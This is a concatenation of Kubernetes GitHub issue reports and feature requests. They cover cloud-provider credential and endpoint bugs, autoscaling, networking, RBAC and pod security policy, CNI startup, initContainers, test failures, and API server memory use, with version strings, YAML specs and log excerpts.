should be able to utilise cloud platform features again\r \r   how to reproduce it  as minimally and precisely as possible   :\r invalidate cloud providers credentials and try to deploy a persistent volume\r \r   anything else we need to know?  :\r there were no further configuration changes to kubernetes cluster and it worked before. the only change was expiring credentials\r \r   environment  :\r - kubernetes version  use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-10t11:44:36z\ , goversion:\ go1.11\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5\ , gitcommit:\ 32ac1c9073b132b8ba18aa830f46b77dcceb0723\ , gittreestate:\ clean\ , builddate:\ 2018-06-21t11:34:22z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r - cloud provider or hardware configuration: azure germancloud\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r - install tools:  acs-engine \r - others:

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r would like to have an autoscaling step for replicas in an hpa. so basically you define an hpa like this:\r \r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: php-apache\r   namespace: default\r spec:\r   scaletargetref:\r     apiversion: apps/v1\r     kind: deployment\r     name: php-apache\r   minreplicas: 1\r   maxreplicas: 10\r   targetcpuutilizationpercentage: 50\r    \r and would like to have a  stepreplicas  option to say scale 2 at a time before cool off.\r \r kubernetes 1.12 removed the need for the  --horizontal-pod-autoscaler-upscale-delay  in the kube-controller-manager but users may still want to configure a step.\r \r   what you expected to happen  :\r \r would like to have something like this:\r \r    \r apiversion: autoscaling/v1\r kind: horizontalpodautoscaler\r metadata:\r   name: php-apache\r   namespace: default\r spec:\r   scaletargetref:\r     apiversion: apps/v1\r     kind: deployment\r     name: php-apache\r   minreplicas: 1\r   maxreplicas: 10\r   stepreplicas: 2 <== here\r   targetcpuutilizationpercentage: 50\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create an hpa\r \r   anything else we need to know?  :\r \r more background  here  https://stackoverflow.com/questions/52646462/horizontalpodautoscaler-multiple-replica-upscale \r \r   environment  :\r - kubernetes version  use  kubectl version  : all\r - cloud provider or hardware configuration: all\r - os  e.g. from /etc/os-release : any\r - kernel  e.g.  uname -a  : all\r - install tools:\r - others:\r

<!-- \r stop -- please read!\r \r github is not the right place for support requests.\r \r if you're looking for help, check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r you can also post your question on the  kubernetes slack  http://slack.k8s.io/  or the  discuss kubernetes  https://discuss.kubernetes.io/  forum.\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r <!-- do not edit below this line -->\r \r /triage support\r \r hi,\r    i intend to firewall some services with nodeport type, making them inaccessible from outside. i try to setup docker-user and forward chains in filter table, but some ports of a few nodes in cluster are still accessible from public.\r    i do not know why, could anyone please give some guides? thanks.\r brs  \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : the pr template is a little unclear to new contributors.\r \r \r eg:\r    md\r   what type of pr is this?  \r > uncomment only one, leave it on its own line:\r >\r >  >  >  >  >  >  >  >     \r \r if i understand what \ uncomment\  is, and leave it on it's own line i get:\r    \r   what type of pr is this?  \r > uncomment only one, leave it on its own line:\r >\r >  >    >  >  >  >  >     \r which has two problems:\r - i probably left the space after the  >   so the bot regex won't match \r - i probably didn't put a newline before the uncommented line, which is necessary for it to not just continue to be a comment block:\r \r ---\r \r   what type of pr is this?  \r > uncomment only one, leave it on its own line:\r >\r >  >    >  >  >  >  >  \r --- \r \r vs\r \r ---\r \r   what type of pr is this?  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r  >  >  >  >  >  \r ---\r \r another issue is in this bit:\r    \r   does this pr introduce a user-facing change?  :\r <!--  \r if no, just write \ none\ .\r if yes, a release note is required:\r enter your extended release note in the block below. if the pr requires additional action from users switching to the new release, include the string \ action required\ .\r 2. \r -->\r    release-note\r \r    \r \r we should probably make this something like a literal:\r    release-note\r none\r    \r \r if you're not an experienced contributor, it's not very clear where you should write \ none\  and what kind of quoting you should use, etc.\r \r   what you expected to happen  : i hope for the pr template to be a little more obvious and easy to use\r \r   how to reproduce it  as minimally and precisely as possible   : create a new pr 🙃 \r \r   anything else we need to know?  :\r \r  \r cc @cblecker @nikhita \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

create a hybrid os test that will have two services, one in linux and one in windows that talk to each other over flannel  claudiu indicated this had some issues in his testing and we need to verify this \r \r we should create the test in such a way that can work with all supported cnis\r \r 

i'm unable to use  kubectl  because of tls handshake timeout.      kubectl get pods error: couldn't read version from server: get https://master-ip/api: net/http: tls handshake timeout      edit: after several tries i got one to go through, so it's not happening 100% of the time.  but the error has been recorded over 4k times in the logs.  i've also noticed the error is showing up often in  /var/log/kube-apisever.log  from requests from minions.      i0831 12:35:19.950945       8 logs.go:41  http: tls handshake error from 172.20.0.65:58143: eof i0831 12:35:20.599641       8 logs.go:41  http: tls handshake error from 172.20.0.148:53774: eof i0831 12:35:20.601809       8 logs.go:41  http: tls handshake error from 172.20.0.240:41027: eof i0831 12:35:22.272985       8 logs.go:41  http: tls handshake error from 172.20.0.25:42939: eof i0831 12:35:23.210921       8 logs.go:41  http: tls handshake error from 172.20.0.240:41034: eof i0831 12:35:24.520112       8 logs.go:41  http: tls handshake error from 172.20.0.65:58172: eof      i also noticed a lot of  dial tcp 127.0.0.1:8080: connection refused  errors in the logs on various endpoints.      e0831 12:36:54.588879       5 reflector.go:136  failed to list  api.resourcequota: get http://127.0.0.1:8080/api/v1/resourcequotas: dial tcp 127.0.0.1:8080: connection refused e0831 12:36:54.589161       5 reflector.go:136  failed to list  api.secret: get http://127.0.0.1:8080/api/v1/secrets?fieldselector=type%3dkubernetes.io%2fservice-account-token: dial tcp 127.0.0.1:8080: connection refused e0831 12:36:54.628359       5 reflector.go:136  failed to list  api.serviceaccount: get http://127.0.0.1:8080/api/v1/serviceaccounts: dial tcp 127.0.0.1:8080: connection refused e0831 12:36:54.628471       5 reflector.go:136  failed to list  api.limitrange: get http://127.0.0.1:8080/api/v1/limitranges: dial tcp 127.0.0.1:8080: connection refused e0831 12:36:54.628608       5 reflector.go:136  failed to list  api.namespace: get http://127.0.0.1:8080/api/v1/namespaces: dial tcp 127.0.0.1:8080: connection refused e0831 12:36:54.628669       5 reflector.go:136  failed to list  api.namespace: get http://127.0.0.1:8080/api/v1/namespaces: dial tcp 127.0.0.1:8080: connection refused      if it's relevant, the ephemeral filesystem on /mnt/ephemeral/kubernetes is 99% on one of my minions.  most of my kube-system pods  kube-ui, kube-dns, elasticsearch, etc  are running that minion. it's full because of elasticsearch and heapster empity-dir volumes, and the mount is only 3.75gb. this filesystem being full caused other problems this weekend, including containers from the kube-dns pod shutting down which in turn brought down all of my other production pods over the weekend.

as we introduce more complex scheduling constraints and preferences  node affinity is in 1.2, pod affinity and taints/tolerations will be in 1.3 , we should also start using pods that use these features.  it may be reasonable to have a looser scheduling slo for workloads that involve a lot of complex constraints, but let's wait and see what effect these more complex scheduling rules have on performance.  cc/ @gmarek @wojtek-t @xiang90 @hongchaodeng

it seem when aws api calls fail due to lack of permissions, there is no backoff for retries.  we ran into this issue when we intentionally stripped elasticloadbalancing:\\  permissions from the controller because we didn't need elbs. it seems the controller-manager still needs to make describeloadbalancers calls even when no service is configured to use elb. when it did so and failed, there was apparently no backoff delay, and we soon hit the api request limit.

$kubectl scale --replicas=3 deployments/my-deployment --v=9  gives      curl -k -v -xput  -h \ user-agent: kubectl/v1.4.0  linux/amd64  kubernetes/2f545e1\  -h \ accept: application/json,  / \  -h \ content-type: application/json\  -h \ authorization: basic ywrtaw46zkvsevcxbul5ctdvrhfvng==\  https://8.35.198.5/apis/extensions/v1beta1/namespaces/default/deployments/frontend      it is using put. it should just use the deployments/scale endpoint.  cc @pwittrock @janetkuo

what keywords did you search in kubernetes issues before filing this one?  :\r kube-proxy, kubeproxy, metrics \r \r   is this a request for help?  :  no\r \r   is this a bug report or feature request?    choose one : feature request\r \r i propose the creation of the  /metrics  endpoint to kube-proxy because it would expose metrics that could potentially be helpful to the operators as a tool, as well as make kube-proxy consistent with the other control plane components and so meet expectations. we propose to turn this endpoint on the same way as the other endpoints in kube-proxy: as long as  config.healthzport > 0  is satisfied.\r \r   kubernetes version    use  kubectl version  : \r  client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.3.14+2519039388b2ac-dirty\ , gitcommit:\ 2519039388b2ac6afca701363531d6f50d6b422c\ , gittreestate:\ dirty\ , builddate:\ 2017-02-23t17:38:58z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ } \r \r \r

when the kubelet is checking for the pids in a cgroup, it checks to ensure a path exists, and then calls  filepath.walk . if the path was deleted in between the existence check and the walk, the kubelet can panic because the walk func isn't checking the passed in  err .

as the  core  repo splits into multiple repos, shared packages need a home, as the core isn't intended for vendoring.\r \r proposal  48209 established the  utils  repository, specifically defining it as a repository with _no k8s dependence_.  the  utils  repo may be viewed as supplementing https://golang.org/pkg, and be of interest to non-k8s projects.\r \r the discussion left open the question of where to put shared packages _specific to k8s_ .  e.g.\r \r   k8s.io/kubernetes/pkg/api/v1/helper\r   k8s.io/kubernetes/pkg/controller/deployment/util\r   k8s.io/kubernetes/pkg/client/retry\r   k8s.io/kubernetes/pkg/printers\r \r even if these particular examples don’t end up in a common repo, some shared k8s code will exist.  some options to deal with it are:\r \r    copy the code to multiple repos rather than link to one library. the copies then evolve independently.\r    stop linking the code; access it via rpc to live service.  the code goes into the repo for that service.\r    relax the no-k8s constraint on  utils  and throw all shared packages in there.\r    per @smarterclayton 's  idea  https://github.com/kubernetes/kubernetes/issues/48209 issuecomment-313870481 , make a new repo https://github.com/kubernetes/common.\r \r this proposal opens the road for the last option.  \r \r proposed  readme  for the new repo:\r ----------\r \r   common\r \r go libraries shared by various kubernetes repositories.  see also  utils , which has the same purpose but different commit criteria.\r \r    purpose\r \r as kubernetes grows and spins functionality out of its  core  and into cooperating repositories   apiserver ,  kubectl ,  kubeadm , etc.  that communicate with each other via known api types, the need arises for leaf repositories to house shared code.\r \r this repository is intended to hold shared utilities specific to kubernetes, e.g. code that depends on kubernetes api types.  the  utils  repository, a sibling to this repository, holds shared utilities that have _no_ kubernetes dependence.\r \r    criteria for committing code here\r \r - used by multiple kubernetes repositories.\r \r - full unit test coverage.\r \r - go tools compliant   go get ,  go test , etc. .\r \r - complex enough to be worth vendoring, rather than copying.\r \r - stable, or backward compatible, api.\r \r - with respect to kubernetes repositories, this  common  repository may only depend on repositories intended for external use, e.g.  api  and  utils  are ok,  core  is not ok.  \r \r  utils : https://github.com/kubernetes/utils\r  common : https://github.com/kubernetes/common\r  api : https://github.com/kubernetes/api\r  apiserver : https://github.com/kubernetes/apiserver\r  core : https://github.com/kubernetes/kubernetes\r  kubeadm : https://github.com/kubernetes/kubeadm\r  kubectl : https://github.com/kubernetes/kubectl\r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when creating a persistent volume claim on a cluster hosted in azure germany  using acs-engine , with the azuredisk provisioner, the wrong endpoint for blob storage is used:\r warning         provisioningfailed      failed to provision volume with storageclass \ default\ : put https://redacted.blob.core.windows.net/redacted?restype=container: dial tcp: lookup redacted.blob.core.windows.net on redacted: no such host\r \r the pvc used:\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: database-vc\r   labels:\r     type: diskstorage\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 100gi\r \r   what you expected to happen  :\r the correct endpoint for azure germany is: https://redacted.blob.core.cloudapi.de/\r \r   how to reproduce it  as minimally and precisely as possible   :\r -\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.7.5\r - cloud provider or hardware configuration  : azure\r - os  e.g. from /etc/os-release : ubuntu 16.04\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r  problem: \r this is equivalent to the haproxy  http-check expect string ready   https://www.haproxy.com/documentation/aloha/7-0/haproxy/healthchecks/ \r based http://kubernetes.io/docs/user-guide/liveness/ it appears that the healthz checks only check the http response code.\r i'm working with a health check that is a company standard and that returns status strings.\r \r  proposed solution: \r some capability to check the text of the response to see if it contains a particular string.\r this check would probably need to only check the first n characters to prevent issues with memory.\r haproxy also supports an  rstring  that is a regex but my use case does not require it.\r \r  page to update: \r http://kubernetes.io/docs/user-guide/liveness/\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r there was a bug in scheduler which is fixed in 1.9 and later as a part of  this pr  https://github.com/kubernetes/kubernetes/pull/55039 . we need to backport it to 1.8 and 1.7.\r \r the sequence of events to trigger this issue is:\r  - pod fails predicates, pod condition was updated with the predicate error.\r  - pod passes predicates\r  - pod fails bind, pod condition was updated with the bind error.\r \r the conditions in assumedpod is the same ptr as in pod because  assumedpod is a shallow copy  https://github.com/kubernetes/kubernetes/blob/release-1.8/plugin/pkg/scheduler/scheduler.go l320 , not a deepcopy of pod.\r changing the assumedpod condition causes a cache panic.\r \r   /assign\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i created a clusterrole with podsecuritypolicy, and referenced it from a namespaced rolebinding - it didn't work. then i created exactly the same role in that namespace and referenced that in rolebinding - now it works.\r \r   what you expected to happen  :\r i expect the podsecuritypolicies to work the same way as other rbac rules and be able to use global clusterroles.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r broken:\r    \r kubectl create clusterrole psp:nautilus-user --verb=use --resource=podsecuritypolicy --resource-name=nautilususerpolicy\r kubectl create rolebinding fake-user:psp:unprivileged --clusterrole=psp:nautilus-user --user=<user>\r kubectl --as=\ <user>\  auth can-i use podsecuritypolicy/nautilususerpolicy\r no\r    \r \r working:\r    \r kubectl create role psp:nautilus-user --verb=use --resource=podsecuritypolicy --resource-name=nautilususerpolicy\r kubectl create rolebinding fake-user:psp:unprivileged --role=psp:nautilus-user --user=<user>\r kubectl --as=\ <user>\  auth can-i use podsecuritypolicy/nautilususerpolicy\r yes\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t20:00:41z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t09:42:01z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r baremetal\r - os  e.g. from /etc/os-release :\r centos 7.4\r - kernel  e.g.  uname -a  :\r darwin dimm.sdsc.edu 17.3.0 darwin kernel version 17.3.0: thu nov  9 18:09:22 pst 2017; root:xnu-4570.31.3~1/release_x86_64 x86_64\r - install tools:\r kubeadm\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :  the  lasttransitiontime  for a crds established condition is always null\r \r   what you expected to happen  : it should have a timestamp\r \r   how to reproduce it  as minimally and precisely as possible   : create a crd and then examine its yaml/json. for example:\r \r    json\r \ status\ : {\r                 \ acceptednames\ : {\r                     \ kind\ : \ foo\ ,\r                     \ listkind\ : \ foolist\ ,\r                     \ plural\ : \ foos\ ,\r                     \ singular\ : \ foo\ \r                 },\r                 \ conditions\ :  \r                     {\r                         \ lasttransitiontime\ : \ 2018-10-10t11:28:11z\ ,\r                         \ message\ : \ no conflicts found\ ,\r                         \ reason\ : \ noconflicts\ ,\r                         \ status\ : \ true\ ,\r                         \ type\ : \ namesaccepted\ \r                     },\r                     {\r                         \ lasttransitiontime\ : null,\r                         \ message\ : \ the initial names have been accepted\ ,\r                         \ reason\ : \ initialnamesaccepted\ ,\r                         \ status\ : \ true\ ,\r                         \ type\ : \ established\ \r                     }\r                  ,\r                 \ storedversions\ :  \r                     \ v1alpha1\ \r                  \r             }\r    \r \r \r   anything else we need to know?  :\r \r   environment  :\r community master\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r azure is not listed as \ migratable\  in staging/src/k8s.io/csi-translation-lib/translate.go.\r \r could refer to https://github.com/kubernetes/kubernetes/pull/72938\r   why is this needed  :\r

which jobs are failing  :\r pull-kubernetes-integration\r \r   which test s  are failing  :\r teststressingcascadingdeletion\r \r   since when has it been failing  :\r intermittently\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=teststressingcascadingdeletion\r \r   reason for failure  :\r \r   anything else we need to know  :\r \r  

reported here and on slack.  http://stackoverflow.com/questions/36758328/kubernetes-1-2-2-api-server-fails-cant-find-mounted-certs-for-tls-on-etcd  i'm been struggling to get  api-server 1.2.2  to run with   etcd   secured with   tls  .  i am upgrading from  1.1.2  to  1.2.2   in 1.1.2 i was using the  --etcd-config  flag and had a file that looked like:      {   \ cluster\ : {     \ machines\ :         \ https://xxx.xxx.xxx.xxx:2379\ ,       \ https://xxx.xxx.xxx.xxy:2379\ ,       \ https://xxx.xxx.xxx.xxz:2379\          },   \ config\ : {     \ certfile\ : \ /etc/ssl/etcd/etcd-peer.cert.pem\ ,     \ keyfile\ : \ /etc/ssl/etcd/private/etcd-peer.key.pem\ ,     \ cacertfiles\ :         \ /etc/ssl/etcd/ca-chain.cert.pem\       ,     \ consistency\ : \ strong_consistency\    } }       now this is no longer supported and i switched to using the flags:      --etcd-cafile=\ /etc/ssl/etcd/ca-chain.cert.pem\  --etcd-certfile=\ /etc/ssl/etcd/etcd-peer.cert.pem\  --etcd-keyfile=\ /etc/ssl/etcd/private/etcd-peer.key.pem\      --etcd-servers=\ https://xxx.xxx.xxx.xxx:2379, https://xxx.xxx.xxx.xxy:2379,https://xxx.xxx.xxx.xxz:2379\        now i am getting this error:   f0421 00:54:40.133777       1 server.go:291  invalid storage version or misconfigured etcd: open \ /etc/ssl/etcd/etcd-peer.cert.pem\ : no such file or directory   so, it seems like it cannot find the cert file. the file paths and names are the same as before, and they are mounted with hostpath the exact same way as with v1.1.2, so i don't understand why api-server would not not find them.  i have been trying to figure what is going on with the file paths by simply switching the command in the pod from      - /hyperkube - api-server ...      to      - /bin/sleep - 60      but kubelet won't start this pod for some reason i don't understand.  does it have to do with the yaml file name or something?  i don't understand what is happening why kubelet won't run with this command. i don't know why my cert files are not found and without being able to get inside the container with the mounts it is difficutl to troubleshoot.  thanks for help.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-cluster/14/  multiple broken tests:  failed: deferred teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  35658   failed: dumpclusterlogs {e2e.go}      terminate testing after 15m after 10h0m0s timeout during dump cluster logs     issues about this test specifically:  33722  37578  37974  38206   failed: teardown {e2e.go}      terminate testing after 15m after 10h0m0s timeout during teardown     issues about this test specifically:  34118  34795  37058  38207   failed: diffresources {e2e.go}      error: 18 leaked resources +name                                     machine_type   preemptible  creation_timestamp +gke-bootstrap-e2e-default-pool-37d330f5  n1-standard-2               2016-12-07t09:43:16.584-08:00 +name                                         location       scope  network        managed  instances +gke-bootstrap-e2e-default-pool-78edf29b-grp  us-central1-a  zone   bootstrap-e2e  yes      3 +name                                          zone           machine_type   preemptible  internal_ip  external_ip      status +gke-bootstrap-e2e-default-pool-78edf29b-oz0x  us-central1-a  n1-standard-2               10.240.0.3   104.197.93.138   running +gke-bootstrap-e2e-default-pool-78edf29b-qwwx  us-central1-a  n1-standard-2               10.240.0.4   104.198.255.180  running +gke-bootstrap-e2e-default-pool-78edf29b-scxy  us-central1-a  n1-standard-2               10.240.0.2   104.154.192.88   running +name                                          zone           size_gb  type         status +gke-bootstrap-e2e-default-pool-78edf29b-oz0x  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-78edf29b-qwwx  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-default-pool-78edf29b-scxy  us-central1-a  100      pd-standard  ready +gke-bootstrap-e2e-d6d901f3-16ea3071-bca6-11e6-9501-42010af0000b  bootstrap-e2e  10.96.2.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-78edf29b-qwwx  1000 +gke-bootstrap-e2e-d6d901f3-980573c3-bca5-11e6-9501-42010af0000b  bootstrap-e2e  10.96.1.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-78edf29b-oz0x  1000 +gke-bootstrap-e2e-d6d901f3-b05e5e99-bca6-11e6-9501-42010af0000b  bootstrap-e2e  10.96.3.0/24   us-central1-a/instances/gke-bootstrap-e2e-default-pool-78edf29b-scxy  1000 +gke-bootstrap-e2e-d6d901f3-all  bootstrap-e2e  10.96.0.0/14       esp,ah,sctp,tcp,udp,icmp +gke-bootstrap-e2e-d6d901f3-ssh  bootstrap-e2e  130.211.213.63/32  tcp:22                                  gke-bootstrap-e2e-d6d901f3-node +gke-bootstrap-e2e-d6d901f3-vms  bootstrap-e2e  10.240.0.0/16      tcp:1-65535,udp:1-65535,icmp            gke-bootstrap-e2e-d6d901f3-node     issues about this test specifically:  33373  33416  34060

this appears to be a regression since v1.5.x, and should be a blocker for releasing v1.6.\r \r   kubernetes version    use  kubectl version  :\r built from master\r \r   install tools  :\r \r - seen by @luxas on a cluster created via kubeadm.  \r - i've seen this on gce using cluster/kube-up.sh and network_provider=cni.\r \r   what happened  :\r \r the kubelet is starting pods before a cni config file is present on the node, and thus pods are started without networking.\r \r specifically, the dns pod starts up and fails to watch the api, causing its health checks to fail.\r \r   what you expected to happen  :\r \r the kubelet should wait for a cni network config to be present in the configured  cni-conf-dir .\r \r   how to reproduce it    as minimally and precisely as possible :\r \r launch a cluster built from master using  --network-plugin=cni  on the kubelet and do not install a cni plugin / config.\r

in flight\r \r -      kube-up.sh should keep abac enabled by default  https://github.com/kubernetes/kubernetes/issues/43541 \r -  x   cni consumers updated  https://github.com/kubernetes/kubernetes/issues/43488 \r \r     merged\r \r -  x   etcd downgrades  https://github.com/kubernetes/kubernetes/pull/43533 \r -  x   taints  https://github.com/kubernetes/kubernetes/pull/43537 \r -  x   1.5 kubectl edit broken for deployment  https://github.com/kubernetes/kubernetes/issues/42392 \r \r     determined to be non-blocking\r \r -  x   pod security policy  https://github.com/kubernetes/kubernetes/issues/43538 \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r initcontainers\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.3\ , gitcommit:\ 029c3a408176b55c30846f0faedf56aae5992e9b\ , gittreestate:\ clean\ , builddate:\ 2017-02-15t06:40:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ dirty\ , builddate:\ 2017-04-07t20:46:46z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   environment  :\r -   cloud provider or hardware configuration  :\r minikube\r -   os    e.g. from /etc/os-release :\r os x el capitan\r -   kernel    e.g.  uname -a  :\r darwin osx-cezar 15.6.0 darwin kernel version 15.6.0: fri feb 17 10:21:18 pst 2017; root:xnu-3248.60.11.4.1~1/release_x86_64 x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r when using kubectl v1.5.x mixed with a server version of v1.6.x and a podspec with initcontainers, the initcontainers are ignored after initial run.\r \r   what you expected to happen  :\r the  initcontainers  would start and run before the containers in the  containers  section of the spec.\r \r   how to reproduce it    as minimally and precisely as possible :\r use kubectl v1.5.x with a server v1.6.x and the below pod spec.\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: init-demo-bug\r   labels:\r       environment: local\r       app: testing\r spec:\r   containers:\r   - name: run\r     image: busybox\r     ports:\r     - containerport: 8000\r       hostport: 8000\r     command:  \ /bin/sleep\  \r     args:  \ 11111111\  \r     env:\r       - name: test_db_ip\r         value: \ 10.0.2.2\ \r       - name: some_boolean\r         value: \ true\ \r       - name: other_settings\r         value: \ testing\ \r     imagepullpolicy: always\r     these containers are run during pod initialization\r   initcontainers:\r   - name: install\r     image: busybox\r     command:\r     - /bin/sleep\r     - \ 11111\ \r   dnspolicy: default\r    \r \r delete the pod and start it again. in the vast majority of cases the init will not run.\r \r \r   anything else we need to know  :\r \r

hi,\r \r i'm running a k8s 1.6.2 cluster in gke.\r i'm looking at the following screenshot: \r ! screencapture-app-google-stackdriver-1495915736209  https://cloud.githubusercontent.com/assets/607868/26524194/32665220-4323-11e7-8558-f1456361aa2c.png \r and it looks like fluentd is using a whole lot of memory compared with anything else running in it.\r as far as i can understand fluentd is the current recommended way to handle logs in k8s but i'm not sure if that's correct or not.\r should i report this against gke?\r \r thank you.

starting a large data set  32gb allocated, 4gb resident  in the api server causes about 7.5gb allocations of  regexp.  bitstate .reset .  the tree for that shows:\r \r    \r                                             1.56gb   100% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newparameter\r          0     0% 23.08%     1.56gb  4.76%                | github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newbodyparameter\r                                             1.14gb 72.82% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.patternmatches\r                                             0.40gb 25.67% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/compiler.invalidkeysinmap\r                                             0.02gb  1.51% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newschema\r ----------------------------------------------------------+-------------\r                                             0.23gb   100% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newdocument\r          0     0% 23.08%     0.23gb  0.72%                | github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newdefinitions\r                                             0.23gb   100% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newschema\r ----------------------------------------------------------+-------------\r                                             7.56gb   100% |   github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/openapi.toprotobinary\r          0     0% 23.08%     7.56gb 23.08%                | github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newdocument\r                                             7.32gb 96.90% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newpaths\r                                             0.23gb  3.10% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newdefinitions\r ----------------------------------------------------------+-------------\r                                             0.10gb   100% |   github.com/openshift/origin/vendor/github.com/googleapis/gnostic/openapiv2.newschemaitem\r          0     0% 23.08%     0.10gb  0.31%                | 